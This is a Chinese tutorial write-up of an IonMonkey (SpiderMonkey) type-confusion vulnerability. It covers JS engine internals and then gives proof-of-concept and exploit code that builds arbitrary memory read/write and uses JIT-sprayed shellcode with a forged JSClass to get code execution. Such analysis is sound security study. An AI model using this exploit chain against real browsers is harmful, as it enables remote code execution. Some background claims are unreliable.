文章较长,在侧边标题栏导航,详细的漏洞分析在第二部分


前置知识

js 的基本运行逻辑

JavaScript 如何被编译的

  • 先简单认识以下 JavaScript

js 为一种高级语言,以 html 语言为容器运行在服务端和浏览器上,需要被编译为低级语言才能被计算机执行。而它又是一款弱类型数据语言,可以在编写的时候随意修改数据类型,但因为这个特性它被被编译为静态机器语言的效率十分底下,因为里面的数据类型只有在运行时才能确定。为了提高编译效率,它被动态编译。而因为这个特性编译器需要特别的技术才能实现这个功能,这个技术就是 jit(运行时编译)。融合了这个技术的编译器就叫做: 引擎。
然后就是 js 是一个脚本语言,是直接在浏览器引擎上面运行的,所以 js 的编译器都是把这个引擎分离了出来作为内核的。虽然可以直接在浏览器的控制台上面运行,但 js 原本是需要以 html 作为容器才能运行的

IonMonkey

火狐的经典 引擎 是 spidermonkey,IonMonkey 是 spidermonkey 中的一个高级优化编译器组件。它是专门为了提升 JavaScript 在 SpiderMonkey 引擎中的执行性能而设计的, 这次的漏洞就是在这个组件上

JavaScript 一些知识

数据类型

  • js 的数据类型分为两种,引用类型和基本类型,基本类型和其他语言里面的 int,float,string,bool 一样我们重点学习引用类型
  • js 的引用类型非常的自由(不规范), js 中一切引用类型都是对象,而对象里面又能储存引用类型.当将一个对象赋值给另一个变量时,实际上是将对象的引用(也就是指针)赋值给了新变量,两个变量最终指向内存中的同一个对象

    一点代码实例

// new操作符后跟函数调用
let obj = new Object()
let arr = new Array()

// 字面量表示法
let obj = { a: 1}
// 等同于
let obj = new Object()
obj.a = 1

let arr = [1,2]
// 等同于
let arr = new Array()
arr[0] = 1
arr[1] = 2
  • 所有对象都是由 new 操作符后跟函数调用来创建的,字面量表示法只是语法糖(即本质也是 new,功能不变,使用更简洁)
  • 对象的由来–构造函数(创造对象的 函数 就是构造函数,构造函数 也是对象,他也有一堆的属性和方法)

构造函数

// 惯例,构造函数应以大写字母开头
function Person(name) {
  // 函数内this指向构造的对象
  // 构造一个name属性
  this.name = name
  // 构造一个sayName方法,该方法以name属性为参数,使用打印函数为操作
  this.sayName = function() {
    console.log(this.name)
  }
}

// 使用自定义构造函数Person创建对象
let person = new Person('logan')
person.sayName() // 输出:logan

在这里,我们可以把对象类比为我们 python 中的类,对象的实例可以类比为对象,但是这里我们还是要注意一些差异
Array 类型、Function 类型、Object 类型等都是引用类型,也就是说 数组是对象、函数是对象、正则是对象、对象还是对象,为了 简化理解,存储’操作’的对象我们认为它就是一个引用类型,内容不会存在于对象本身,而是存在于另其他地方。
所以引用类型可以理解为指针集合,存储对象的地址。对象就是高级版类,键值对作为属性,当值为函数体时该键值对就是方法。因为属性的值可以是函数体,自然也可以是对象,所以对象就是这种层层嵌套的复杂数据结构

原型和原型链

  • 原型和原型链都是来源于对象而服务于对象的概念

上面我们说当值为函数体时该键值对就是方法,而方法的原初目的就是实现代码复用,但 js 里的对象又不能实现继承,所以我们就需要原型来实现继承。每一个对象从被创建开始就和另一个对象关联,从另一个对象上继承其属性,这个另一个对象就是 原型

当访问一个对象的属性时,先在对象的本身找,找不到就去对象的原型上找,如果还是找不到,就去对象的原型(原型也是对象,也有它自己的原型)的原型上找,如此继续,直到找到为止,或者查找到最顶层的原型对象中也没有找到,就结束查找,返回 undefined,这条由对象及其原型组成的链就叫做原型链

原型链的实现

proto

这是对象的实例的一个默认属性,作用为:取该实例对象的构造函数的原型对象的 方法

  • 只要是引用类型,就有 proto 属性,该属性指向它们各自的原型对象(这里的属性可以是 基本数据,也可以是 操作(函数)和其他引用类型), proto 就是操作, 即:获取对象的原型
  • 假设有一个实例对象 person,可以通过 Object.getPrototypeOf(person) 来获取它的原型对象,Object.getPrototypeOf(person) === person.__proto_ _ // true这个表示这两个语法是等价的,而_ _proto__属性是内部属性,不应该直接访问,而应该使用 Object.getPrototypeOf()方法来获取原型对象。

    prototype

    这是函数里面的一个 原型对象,在 js 中,每个函数对象都有一个 prototype 属性(除了 Arrow Functions),这个属性指向 由该函数作为构造函数创建的实例对象的原型

  • 每个普通函数(非引用函数)在定义时都会自动生成一个 prototype 属性。
  • prototype 是一个对象,它被用于定义(管理)由该函数创建的实例的 共享属性和方法
  • 当通过 new 操作符调用函数时,生成的对象会将其内部的 [[Prototype]] 隐式链接到该函数的 prototype 属性。

这两个的区别就是,proto 存在于对象实例中,而 prototype 存在于函数对象中,使用 prototype 我们就可以在还没有创造实例的情况下就修改对象原型

ArrayBuffer

  • 这里我们重点学习需要深入理解的一种对象

1. ArrayBuffer 的基本概念

ArrayBuffer 是一种表示原始二进制数据的对象,通常用于处理大量的二进制数据,如音频、视频、图像文件,或者底层数据存储。它提供了一个固定大小的内存块,而没有指定数据类型。

例子:

let buffer = new ArrayBuffer(16); // 创建一个16字节的 ArrayBuffer

2. 视图 (Typed Arrays)

ArrayBuffer 只能存储原始二进制数据,但它本身无法直接进行数据操作。为了方便地访问和操作 ArrayBuffer 中的内容,JavaScript 提供了多种 视图Typed Array),它们是围绕 ArrayBuffer 构建的对象。

每种视图都定义了如何将 ArrayBuffer 中的 数据 转换成具体的 数据类型(类型转换)。视图通过指定“字节顺序”和“数据类型”来控制如何读取或写入内存。

例子:

let buffer = new ArrayBuffer(16);//(16字节长度)
let uint8View = new Uint8Array(buffer); // 8位无符号整数视图
let uint32View = new Uint32Array(buffer); // 32位无符号整数视图

3. Uint32Array 和 Uint8Array

  • Uint32ArrayUint8Array 都是 ArrayBuffer 的视图,它们提供了不同大小的数据单元:
    • Uint8Array:每个元素占用 1 字节,表示 8 位无符号整数。
    • Uint32Array:每个元素占用 4 字节,表示 32 位无符号整数。

尽管它们都指向同一个 ArrayBuffer,它们的访问方式和解释内存内容的方式不同,因而它们的数据存储格式和访问的粒度也不同。

例子:

let buffer = new ArrayBuffer(16);  // 创建16字节的缓冲区

let uint8View = new Uint8Array(buffer);   // 创建一个Uint8视图,操作8位数据
let uint32View = new Uint32Array(buffer); // 创建一个Uint32视图,操作32位数据

uint8View[0] = 1;  // 设置第一个字节为 1
uint32View[0] = 123456;  // 设置第一个32位数字为 123456

console.log(uint8View);  // Uint8Array [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
console.log(uint32View); // Uint32Array [123456, 0, 0, 0]
  • Uint8ArrayArrayBuffer 分为多个 1 字节的元素,按字节操作内存。
  • Uint32Array 将同一块内存分为多个 4 字节的元素,按 32 位(4 字节)块来操作内存。
    a=new ArrayBuffer(32)
    var e=new Uint32Array(a)
    //Uint32Array(8) [0, 0, 0, 0, 0, 0, 0, 0, buffer: ArrayBuffer(32), byteLength: 32, byteOffset: 0, length: 8, Symbol(Symbol.toStringTag): 'Uint32Array']
    //这里可以看到Uint32Array后面跟着一堆其他的东西,这些就是创建该实例默认就有的属性
    

    内存布局


1. ArrayBuffer 的主要字段

在内存中,ArrayBuffer 分为以下几个部分,分别对应其属性和作用:

1.1 group 和 shape

  • group (0x00007f8e13a798e0):
    • 指向对象的分组信息,用于描述对象的类型和行为。
    • group 包含了 JSClass 的引用,JSClass 定义了该对象的类信息和操作行为(如属性访问、方法调用等)。
  • shape (0x00007f8e13aa1768):
    • 描述对象的结构信息。shape 包含了对象的属性定义,包括属性的键、值、标志位等。
    • 用于快速查找对象的属性。

1.2 slots 和 elements

  • slots (0x0000000000000000):
    • slots 通常用于存储对象的动态属性,但在 ArrayBuffer 中并未使用,因此这里为空。
  • elements (0x000055d6ee8ead80):
    • elements 指向与对象绑定的存储区域。在 ArrayBuffer 中,elements 指向的数据为空,因为数据存储是通过一个独立的数据缓冲区来管理的(后面详细介绍)。

1.3 数据缓冲区相关字段

  • Shifted pointer pointing to data buffer (0x00003fc709d44160):
    • 这是一个偏移指针,指向实际的 ArrayBuffer 数据缓冲区的起始地址。
    • 数据缓冲区(data buffer)是 ArrayBuffer 的核心部分,用于存储二进制数据。
  • size in bytes of the data buffer (0xfff8800000000020):
    • 数据缓冲区的大小,这里是 0x20(32 字节)。

1.4 视图指针和标志位

  • Pointer pointing to first view (0xfffe7f8e15e00480):
    • 指向与该 ArrayBuffer 关联的第一个视图(如 DataViewTypedArray)。
    • ArrayBuffer 本身 不直接暴露其内容,而是通过视图来访问缓冲区的数据。
  • flags (0xfff8800000000000):
    • 标志位,存储一些与 ArrayBuffer 状态相关的信息。

2. 数据缓冲区的布局

数据缓冲区紧跟在 ArrayBuffer 的元数据之后,用于存储具体的二进制数据。

2.1 数据缓冲区内容

  • 地址 0x7f8e13a882d0 的数据缓冲区:
    • 在这一地址,存储的是具体的二进制数据内容。
    • 数据缓冲区的大小由 size in bytes of the data buffer 决定,这里是 0x20 字节。

2.2 多个 ArrayBuffer 的缓冲区

  • 图中展示了多个 ArrayBuffer 的数据缓冲区。
    • 第一个 ArrayBuffer 的数据缓冲区 位于地址 0x7f8e13a882d0
    • 第二个 ArrayBuffer 的数据缓冲区 则位于下一个地址。
    • 这种布局表明,多个 ArrayBuffer 可以共享相似的元数据结构,但每个 ArrayBuffer 的缓冲区数据是独立的。

3. 内存布局的作用

这种内存布局的设计支持了 ArrayBuffer 的高效操作:

  • 元数据(如 groupshapeslots 等)存储对象的行为和属性定义。(也给了我们泄露其它地址的机会)
  • 数据缓冲区专注于存储二进制数据,便于直接操作。

  • 通过 Pointer pointing to first view,可以为同一个 ArrayBuffer 创建多个视图

  • 通过 shapegroup 组织结构,SpiderMonkey 可以快速查找和操作对象属性。

简单的总结一下就是:ArrayBuffer 开辟一块固定的内存,视图作为 类型转换 般的存在来读写这个开辟的内存

内联缓存机制

这次漏洞是通过这个机制触发的,所以我们需要了解一下这个机制

1. JavaScript 对象模型

ECMAScript 规范基本上将所有对象定义为由字符串键值映射到 property 属性 的字典

这里我们有一个对象,它有 3 个属性,如果你访问某个属性,例如 arry [1],JavaScript 引擎会在 JSObject 中查找键字符串 ‘1’,然后加载相应的属性值,最后返回 [[Value]]

2. Shapes 和 Slots 的概念

什么是 Shape?

Shape 是 JavaScript 引擎中用来描述对象结构的一种数据结构。它包含了对象的属性名称以及这些属性在内存中的位置(偏移量)等信息。

function logX(object) {
	console.log(object.x);
	//          
}

const object1 = { x: 1, y: 2 };
const object2 = { x: 3, y: 4 };

logX(object1);
logX(object2);
  • object1object2 具有相同的属性名 x 和顺序,因此它们共享同一个 Shape
  • 形状的特点:
    • 如果多个对象具有相同的属性名和顺序,这些对象会共享同一个 Shape
    • 对象的 Shape 会随着属性的添加/删除动态变化。
  • 形状的作用:

    • 假设我们遇到更多同形状的对象,那么在 JSObject 自身存储包含属性名和属性值的完整字典便是很浪费(空间)的,
    • 因为对具有相同形状的所有对象我们都重复了一遍属性名称。 它太冗余且引入了不必要的内存使用。 作为优化,引擎将对象的 Shape 分开存储
    • 引擎通过 Shape 来快速定位对象属性在内存中的位置,而不需要遍历整个对象的键值对。
  • 例子: Shape 包含除 [[Value]] 之外的所有属性名和其余特性。相对应的,Shape 包含 JSObject 内部值的偏移量,以便 JavaScript 引擎知道去哪查找具体值。每个具有相同形状的 JSObject 都指向这个 Shape 实例。 现在每个 JSObject 只需要存储对这个对象来说唯一的那些值

  • 也就是这样

a, b 共享同一个 shape 实例,实例属性中有两个 x,y 属性为键,这两个属性的第一个属性(这些属性的属性就是也就是 slots)就是偏移,根据这个内部值的偏移量,我们就可以找到这个属性的值.一个 Shape 都会与其之前的 Shape 相连, 引入新的属性时就不必大幅改变之前的 Shape 了

Slots 是存储对象属性值的地方。Shape 只记录属性的元信息(例如属性名、偏移量等),而属性值本身存储在对象的 slots 中。

  • Slots 的特点:
    • 每个对象都有自己的 slots,存储该对象的所有属性值。
    • Shape 中记录了属性到 slots 的映射关系(即偏移量)。
  • 对象的内存布局:
    • 对象的内存分为两部分:
      1. Shape 指针: 指向描述对象结构的 Shape
      2. Slots: 存储对象的属性值。
  • 例子:
    const obj = { x: 42, y: 43 };
    
    • Shape:
      {
        properties: ['x', 'y'],
        offsets: [0, 1]
      }
      
    • Slots:
      [42, 43]
      

3. js 内联缓存机制S的概念

什么是Inline Cache?

内联缓存(Inline Cache,简称 IC)是一种优化技术,旨在加速 JavaScript 引擎中对象属性的访问。它通过缓存对象的形状(Shape)和属性偏移量(offset),避免重复的属性查找操作,从而大幅提高性能。

为什么需要内联缓存?

内联缓存是为了解决 属性访问的性能问题 而被发明的。

在 JavaScript 中,对象是动态的,属性可以随时添加、删除或修改。这种灵活性在引擎内部实现时会带来以下问题:

  1. 属性查找成本高:
    • JavaScript 对象本质上像一个字典,其中键是属性名称,值是属性值及其特性。如果每次访问属性都需要在对象的字典中查找键,会导致性能下降。
    • 例如:
      const obj = { foo: 42 };
      const value = obj.foo; // 每次访问属性时都需要在字典中查找键 'foo'
      
  2. 动态行为难以预测:
    • JavaScript 的动态特性允许对象的形状(Shape)随时变化。比如:
      const obj = {};
      obj.x = 10; // 动态添加属性 x
      obj.y = 20; // 动态添加属性 y
      

      每次对象形状发生变化,属性的存储位置也会改变,导致查找属性的成本更高。

  3. 多次查找的重复计算问题:
    • 如果一个属性的访问模式是重复的,比如:
      function getX(o) {
        return o.x;
      }
      const obj1 = { x: 10 };
      const obj2 = { x: 20 };
      getX(obj1);
      getX(obj2);
      

      每次调用 getX 时都需要重新查找 x 的位置(字典查找),即使这些对象有相同的形状。

  4. 第一次访问时记录对象的形状和属性的偏移量:
    • 当 JavaScript 引擎第一次访问对象的某个属性时,它会查找该属性的位置(通过对象的 Shapeslots),并将结果缓存到内联缓存中。
    • 例如:
      function getX(o) {
        return o.x;
      }
      getX({ x: 42 });
      

      在第一次执行时,oShape 被记录下来,同时记录了属性 x 在内存中的偏移位置。

  5. 后续访问时直接复用缓存:
    • 如果后续访问的对象具有相同的 Shape,引擎会直接从缓存中获取属性的偏移量并返回值,而不需要再次进行查找。
    • 例如:
      const obj1 = { x: 10 };
      const obj2 = { x: 20 };
      getX(obj1); // 第一次调用时缓存 obj1 的形状和偏移量
      getX(obj2); // obj2 的形状和 obj1 一样,直接复用缓存
      
  6. 形状不匹配时回退:
    • 如果后续访问的对象形状与缓存中记录的不符(比如对象新增了属性),内联缓存会失效,回退到重新查找属性的模式。

4. 内联缓存的实现及其作用

内联缓存的实现

  1. 缓存形状和偏移量:
    • 每个 IC 都存储两个关键信息:
      • 对象的 Shape
      • 属性的偏移量。
  2. 属性访问流程:
    • 第一次访问: 查找 Shape 记录的偏移量,并将其缓存到 IC。
    • 后续访问: 如果对象的 Shape 未变化,则直接使用缓存中的偏移量。
  3. 字节码中的内联缓存:
    • 在 JSC(JavaScriptCore)中,属性访问的字节码指令如 get_by_id 会嵌入内联缓存。
    • 例如:
      function getX(o) {
        return o.x;
      }
      
      • 第一次调用时,get_by_id 查找 Shape 和偏移量。
      • 后续调用时,直接从缓存中获取 x 的值。

对象拓展属性

在 SpiderMonkey 引擎中,对象与 JSClass 对象的属性关联是通过 类定义 (JSClass) 和 操作处理函数 (ClassOps) 实现的。这些结构控制了对象的行为,包括属性的添加、删除、修改等。

对象与 JSClass 的关联

  • 每个 JavaScript 对象在 SpiderMonkey 引擎中都有一个 JSClass,用于描述该对象的行为。
  • JSClass 是一个结构体,其中包含了一些元信息(如名字、标志位等)和一个 ClassOps 指针。
  • ClassOps 是一个操作表,包含多个函数指针,这些指针定义了对象的行为,例如对象如何添加属性、删除属性、枚举属性等。
  • 关联方式:通过对象的 shapeOrExpando_ 字段(指向 Shape 结构),可以进一步找到与对象关联的 BaseShape,而 BaseShape 包含指向 JSClass 的指针,从而关联到具体的类定义。

ClassOps 的作用

ClassOps 包含了一组控制对象行为的函数指针,例如:

  • addProperty:当向对象添加属性时调用。
  • delProperty:当从对象删除属性时调用。
  • enumerate:用于枚举对象的属性。
  • resolve:用于动态解析属性。
  • finalize:对象被垃圾回收时调用,用于释放资源。

ClassOps 的内存布局

ClassOps 是一个结构体,主要字段如下:

struct JSClassOps {
    JSAddPropertyOp addProperty;       // 添加属性的回调
    JSDeletePropertyOp delProperty;   // 删除属性的回调
    JSGetterOp getProperty;           // 获取属性的回调
    JSSetterOp setProperty;           // 设置属性的回调
    JSEnumerateOp enumerate;          // 属性枚举回调
    JSResolveOp resolve;              // 动态解析属性回调
    JSMayResolveOp mayResolve;        // 查询是否可以解析属性
    JSFinalizeOp finalize;            // 垃圾回收时的清理回调
    JSCallOp call;                    // 对象被调用时的回调
    JSHasInstanceOp hasInstance;      // 用于 `instanceof` 操作
    JSEnumerateOp construct;          // 构造函数回调
};

在内存中,ClassOps 是以连续的指针形式存储的,每个字段指向对应的实现函数。例如:

+--------------------+
| addProperty        | --> 指向实现 `addProperty` 的具体函数
+--------------------+
| delProperty        | --> 指向实现 `delProperty` 的具体函数
+--------------------+
| getProperty        | --> 指向实现 `getProperty` 的具体函数
+--------------------+
| ...                | --> 其它回调函数
+--------------------+

例子:addProperty 的触发

触发流程

  1. 当向对象添加属性时,SpiderMonkey 引擎会检查对象的 JSClass
  2. 如果对象的 JSClass 关联了一个 ClassOps,并且 ClassOps 中定义了 addProperty 函数,则 SpiderMonkey 会调用它。
  3. addProperty 函数的签名如下:
    typedef bool (*JSAddPropertyOp)(JSContext* cx, HandleObject obj, HandleId id, HandleValue v);
    
    • cx:当前的 JS 上下文。
    • obj:当前操作的对象。
    • id:属性的标识符(如属性名)。
    • v:属性的值。

代码示例

这里我们写一个简单的 JSClass 定义来模拟一下调用链,其中实现了 addProperty 回调:

#include "jsapi.h"

// 自定义的 addProperty 回调
bool MyAddProperty(JSContext* cx, JS::HandleObject obj, JS::HandleId id, JS::HandleValue v) {
    printf("Property added!\n");
    return true;
}

// 自定义 ClassOps
static const JSClassOps myClassOps = {
    MyAddProperty, // 添加属性的回调
    nullptr,       // 无删除属性的回调
    nullptr,       // 无获取属性的回调
    nullptr,       // 无设置属性的回调
    nullptr,       // 无枚举属性的回调
    nullptr,       // 无解析属性的回调
    nullptr,       // 无 mayResolve 回调
    nullptr,       // 无 finalize 回调
};

// 自定义 JSClass
static const JSClass myClass = {
    "MyClass",           // 类名
    0,                   // 标志位
    &myClassOps,         // 指向 ClassOps
};

// 创建对象并触发 addProperty
void TestAddProperty(JSContext* cx) {
    // 创建对象
    JS::RootedObject obj(cx, JS_NewObject(cx, &myClass));

    // 添加属性,触发 addProperty 回调
    JS::RootedValue value(cx, JS::Int32Value(42));
    JS_DefineProperty(cx, obj, "myProp", value, JSPROP_ENUMERATE);
}

运行结果

当运行上述代码时,添加属性 myProp 会调用 MyAddProperty 函数,输出如下内容:

Property added!

也就是说我们添加属性的时候就触发了 ClassOps 表中第一个函数指针

基本攻击原理

类型混淆

  • 原理:IonMonkey 在内联 Arrary.prototype 时,没有检查 prototype 上的索引元素。它只检查 Array prototype 链上是否有索引元素

比如

a.__proto__ --> b.__proto__ --> Array.prototype --> Object.prototype --> null

在 a 对象实例和 Array.prototype 间插入一个 b.proto 原型,那么内联 pop 函数后保存此函数的地址,并在下次调用 Array.pop 时,所有这些查找都不需要重新计算,所以此时 b.proto 原型相同索引上有和 a 对象中不同的属性就会引起类型混淆(当然触发它还需要使 a 变成稀疏数组)

类型混淆 poc

buf = []
for(var i=0;i<100;i++)
{
  buf.push(new ArrayBuffer(0x20));
}
var abuf = buf[5];
var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];
function vuln(a1) {

    if (arr.length == 0) {
        arr[3] = e;
    }

    const v11 = arr.pop();
    v11[a1] = 0x80
    for (let v15 = 0; v15 < 100000; v15++) {}
}

p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    vuln(18);
}

我们创建了一个 buf 数组,储存了 100 个 ArrayBuffer(0x20),并用 buf [5] 以 Uint32Array 视图创建了 e 对象,然后又用 arr 数组储存了 e 对象,并且还构造了储存不同类型对象的原型插入到 a.proto –> Array.prototype 之间,然后构建了造成混淆的函数,并用 2000 次循环强制引擎内联 vuln 函数以此触发漏洞

  1. 当 arr 数组不为空时会弹出末尾的 e 对象,然后访问第 18 个元素,但是此时是 Uint32Array 视图,索引最大值只能是 0x20//4,判断不通过, 但是此时只会访问不成功,程序并不会崩溃
mov    edx,DWORD PTR [rcx+0x28] # rcx contains the starting address of the typed array
cmp    edx,eax
jbe    0x6c488017337
  1. 当所有元素被弹出时第四个元素被赋值为 e,此时 arr 变成稀疏数组,此时如果访问前三个元素就会通过 索引元素 的机制去 p 里面查找相同的索引符号对应的属性里有没有值,如果有的话就返回给 arr,所以此时我们访问第一个元素就会返回 Uint8Array(abuf),但 const v11 = arr.pop(); 任然会把这个 Uint8Array 对象当成 Uint32Array 来处理,后面的访问内存等操作都是 Uint32Array 那样,比如下面的汇编
    mov    rcx,QWORD PTR [rcx+0x38] #  rcx contains the underlying buffer
    mov    DWORD PTR [rcx+rbx*4],0x80
    
  2. 此时 Uint8Array 属性 [rcx+0x28] 里的值就不是 0x20//4 而是 0x20//1 了,所以此时索引有效,访问成功,而后面的取地址却是[rcx+rbx*4],此时 rbx 我们设定的为 18,那么访问到的值就是下一个索引处的 buf 的对象里的 bytesize 属性,内存分布如下

计算方式就是:0x7f8e13a882c0(当前 data 缓冲区的起始地址)+4*18 == 0x7f8e13a88308(下一个 ArrayBuffer(0x20)处的 bytesize 属性的地址),该地址里面前 4 个字节是 spidermonkey 的对象都会加上的一个 tag,后面四个字节才是 size 的值,可以看到就是 0x20

  1. 此时我们有了任意修改下一个 ArrayBuffer(0x20)尺寸的能力,那么访问下一个 ArrayBuffer(0x20)的时候就可以通过随意控制的索引实现任意地址访问

    任意地址读写

前面我们以 buf [5] 为 Uint32Array 视图创建对象把它混淆为了 Uint8Array 以此来修改了下一个 buf 索引处的 bytesize 为 0x80,那么我们就可以通过访问 buf [6] 来修改 buf [7] 的所有内存以此来实现任意地址读写,

leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);

leak = aa.slice(0x50,0x58);   //读出的值转换一下大小端序才能用

leaker 是我们可以完全掌控的对象,buf [6] 是我们被修改过尺寸用来读写 buf [7] 的对象,此时我们从 buf [6] 的数据缓冲区越界访问到 buf [7] group 是此 buf [7] 的地址, leak 是此 buf [7] 的数据指针 我们编辑 leaker 对象的 leak 段并将其指向任何地方。之后,查看数组的数据段会泄漏该地址的值,并且写入该数组会编辑该地址的 内容

  • 具体的实现如下,细节我写在了注释里.这里我是根据这张图和上下文来推断内存运算的作用

leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);

leak = aa.slice(0x50,0x58); // 该地址为整个buf的起始地址,也就是ArrayBuffer的地址
group = aa.slice(0x40,0x48); // 当前buf[7]的起始地址
slots = aa.slice(0x40,0x48);  //读的内容要转换一下大小端序,然后处理一下数据,作者通过LS和reverse函数完成了,这里就不展示这些和去掉tag等内存层面的细节了,只展示逻辑层面的实现

add(leak,new data("0x38")       //ArrayBuffer对象中Uint8Array属性的地址

for (var i=0;i<leak.length;i++)   
  aa[0x40+i] = leak[i]              //利用aa修改buf7的数据指针为Uint8Array的地址


sub(leak,new data("0x10"))    //ArrayBuffer的地址

changer = new Uint8Array(buf[7])  //以修改后的buf创建一个新视图,此时它的数据缓冲区将指向一个Uint8Array,也就是本来的leaker


function write(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]   //这个新的视图把要写入的地址覆盖到原buf7的数据段
    value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]   //然后用原本的leaker来访问刚刚覆盖的地址并向该地址写入数据
}

function read(addr){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker.slice(0,8)   //同理
}

function read_n(addr, n){
    write(leak,n)
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker      //写入数据后返回leaker的地址,也就是写入了数据空间的地址
}
//基地址+偏移,访问此时对象的地址
sub(group,new data("0x40")) // this now points to the group member
sub(slots,new data("0x30")) // this now points to the slots member



代码执行

现在我们可以利用任意地址读写去控制执行流来执行 mmap 使得有内存来执行我们的 shellcode, 利用 JSClass 对象关联链很任意就可以做到

//用刚刚我们实现的函数来进行改写指定地址内容

//保存mmap_shellcode,再利用大循环强制jit把我们的shellcode编译为字节码
buf[7].func = function func() {
  const magic = 4.183559446463817e-216;

  const g1 = 1.4501798452584495e-277
  const g2 = 1.4499730218924257e-277
  const g3 = 1.4632559875735264e-277
  const g4 = 1.4364759325952765e-277
  const g5 = 1.450128571490163e-277
  const g6 = 1.4501798485024445e-277
  const g7 = 1.4345589835166586e-277
  const g8 = 1.616527814e-314
}
for (i=0;i<100000;i++) 
  buf[7].func()

slots_ptr = read(slots)   //读取slots属性的地址
func_ptr = read(slots_ptr)  //通过读取slots的内容来读取func_ptr对象
//通过shape链的机制,我们知道添加新属性的时候地址会通过上一个shape链来储存,此时新添加的属性访上一个shpae属性来向上一个slots属性处添加一个slots对象
//所以此时slots的内容就是刚刚添加的func属性的地址
add(func_ptr,new data("0x30"))  //偏移0x30就是jit_ptr地址
jit_ptr=read(func_ptr);  
jitaddr = read(jit_ptr);        //泄露jit的指针,此时就可以根据这个指针去jit里面找我们编译好的shellcode的地址
sub(jitaddr,new data("0xff0"))    //jit基地址

for(j=0;j<3;j++){
  asdf = read_n(jitaddr,new data("0xff0"))
  //每次读取0xfff处的地址,遍历整个jit区域直至匹配到我们写入的magic value
  offset=-1;
  for (var i =0;i<0xff0;i++)
  {
    if (asdf[i]==0x37 && asdf[i+1]==0x13 && asdf[i+2]==0x37 && asdf[i+3]==0x13 && asdf[i+4]==0x37 && asdf[i+5]==0x13 && asdf[i+6]==0x37 && asdf[i+7]==0x13){
      offset=i;
      break
    }
  }

  //找到地址时退出
  if(offset!=-1)
    break

  jitaddr.reverse()
  add(jitaddr,new data("0xff0"))  //jit复原
  jitaddr.reverse()
}
offset = offset+8+6
add(jitaddr,new data(offset.toString(16)))  //jit的基地址加上偏移就是我们的shellcode的地址


aa = read(group)      //读取group属性的地址
grp_ptr = read(aa)   //通过读取grop的内容来读取clasp_ pointer
jsClass = read_n(grp_ptr,new data("0x30")) //偏移0x30的地址就是JSClass对象的地址
//获取原JSClass对象的属性
name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)

add(group,new data("0x60"))
backingbuffer = group.slice(0,8)  //保存原本的group属性的地址
//开始构造新的JSClass对象并保存在grop-->JSClass-->Ops链上
oops = group.slice(0,8)

add(oops,new data("0x30"))

write1(group,name)  
addEight()          //每次地址偏移8到下一个地址
write1(group,flags)
addEight()

write1(group,cOps)
addEight()
write1(group,spec)
addEight()
write1(group,ext)
addEight()
write1(group,oOps)
addEight()

write1(group,jitaddr)  //Jsclass连续的下面就是对象的Ops属性,让第一个addProperty指向我们的shellcode地址
 

sc_buffer = new Uint8Array(0x1000);
buf[7].asdf=sc_buffer     //创建一个Uint8Array来保存shellcodem,创建新的属性把这个sc_buffer的地址写入到下一个slots属性处

add(slots_ptr,eight)     //偏移8到新的asdf属性处
sc_buffer_addr = read(slots_ptr)  //读取adsf地址,此时就是shellcode 的缓冲区的地址

add(sc_buffer_addr,new data("0x38"))   //添加 0x38 就获得存储原始 shellcode 的缓冲区的地址。

ptr = read(sc_buffer_addr)    //以函数指针的形式获取这块区域的地址
ss=inttod(ptr)       //转换为8字节来,以地址的形式来操作值
sc=[]        //Shellcode for execve("/usr/bin/xcalc",[],["DISPLAY=:0"])

for(var i=0;i<sc.length;i++)
  sc_buffer[i]=sc[i]            //把execv的shellcode写入sc_buffer


write1(aa,backingbuffer)  //向aa对象的grop属性写入构造好的Class 对象的引用, 该对象的cOps属性的addProperty指针指向我们的shelcode地址
buf[7].jjj=ss    //添加新属性来触发shelcode执行

攻击

poc现场

在 ubuntu 里建了一个文件夹,里面放入 exp.js 和 exp.html,然后在终端里执行 python 的 http.server 命令,无沙箱运行浏览器,访问对应的 ip 地址和端口号就成功了,如下图


运行的服务

攻击成功

exp


buf = []

buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));


var abuf = buf[5];

var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];



function vuln(a1) {



    if (arr.length == 0) {
        arr[3] = e;
    }

    const v11 = arr.pop();


    v11[a1] = 0x80

    for (let v15 = 0; v15 < 100000; v15++) {} 
}


p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    vuln(18);
}


leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);



leak = aa.slice(0x50,0x58); 
group = aa.slice(0x40,0x48); 
slots = aa.slice(0x40,0x48);
leak.reverse()         
group.reverse()
slots.reverse()


LS(group)
LS(slots)

leak[0]=0
leak[1]=0


add(leak,new data("0x38"))
RS(leak)
leak.reverse()


for (var i=0;i<leak.length;i++)
  aa[0x40+i] = leak[i]

leak.reverse()
LS(leak)
sub(leak,new data("0x10"))
leak.reverse()

changer = new Uint8Array(buf[7])

function write(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}

function read(addr){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker.slice(0,8)
}

function read_n(addr, n){
    write(leak,n)
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker
}

sub(group,new data("0x40")) 
sub(slots,new data("0x30")) 
print1(group)
print1(slots)
group.reverse()
slots.reverse()

aa = read(group) 
aa.reverse()
print1(aa)
